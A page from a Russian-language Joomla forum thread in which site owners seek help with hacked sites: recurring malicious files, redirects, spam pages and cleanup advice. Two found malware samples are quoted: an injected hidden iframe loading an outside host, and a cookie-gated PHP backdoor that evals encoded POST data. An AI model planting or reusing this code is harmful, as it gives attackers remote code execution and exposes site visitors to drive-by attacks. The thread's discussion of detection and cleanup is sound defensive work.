Вирус на сайте, редирект, что делать как лечить! - страница 5 - Безопасность сайтов на Joomla

Постоянно создается файл dirs.php

Значит "нечто" создает файл. Логически размышляя, по идее нужно найти файлы, в которых используются команды PHP для манипулирования файлами, например:

fopen
fclose

Искать их можно, имея доступ по SSH-протоколу и используя команду Linux для поиска текста - grep. Разумеется, не нужно сразу удалять файлы, в которых найдется этот текст. Процесс требует размышления. Команду grep нужно применять, пользуясь ее опциями для сужения области поиска.

Само собой, в первую очередь, смотрим, нет ли чего лишнего в .htaccess. И конечно, нет смысла ни о чем говорить, если стоят права 777, в этом случае на shared хостинге при взломе соседнего сайта могут взломать и ваш.

много всего почистил, жду ... создастся он опять или нет..
права 777 на какой папке имеете ввиду?

Здравствуйте,

Проблема решена, уязвимость нашел и закрыл. Для дополнительной защиты
настоятельно рекомендую выставлять права 600 на все конфигурационные php
файлы. Вам необходимо восстанавливать ваш сайт?

"на все конфигурационные php" огласите весь список пожалуйста

Прописывай редирект левого запроса на 404. И сканеры не могут выявить все уязвимости в безопасности сайта, хостинга.
Нужно еще проверять файлы, расширения на соответствие родным Joomla

Прошу прощения, а как правильно сделать, через .htaccess по маске?
Отдать ошибку для всего что начинается на ?do=

Все верно! В логах обычная ошибка 404  при доступе к файлу.

Так а что посылает запросы POST?

Сегодня Google письмом порадовал: Уведомление о возможном взломе сайта. И адрес странички site.ru/?option=/cat/Trebuetsya-perepletchik.html
Я зашёл - а там прямо хренова туча идиотских страниц с машинным текстом, идиотским картинками, вставленным ютьюбовским видео, ссылками друг на друга. Есть даже sitemap.html - там все эти странички перечислены.
...

Всем привет!
А у меня появился
...
document.write('<iframe src="http://rihanna.tessanhuve.se/lkf.uhpuwrDdyF?default" name="Hemoner" height="105" width="105" style="left:-500px;top:0px;position:fixed;"></iframe>');

Версия Joomla в момент заражения, установленные компоненты и имя хостера - в студию!

Ну а какой алгоритм- проверяешь файлы сайта на соответствие файлам из дистрибутива Joomla. Файлов более 5000, применяешь скрипты/сканеры, для уменьшения времени проверки.
 

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}
?>

replace.php by icom

Простите мою непонятливость  кто такой icom?

http://joomlaforum.ru/index.php?action=profile;u=87828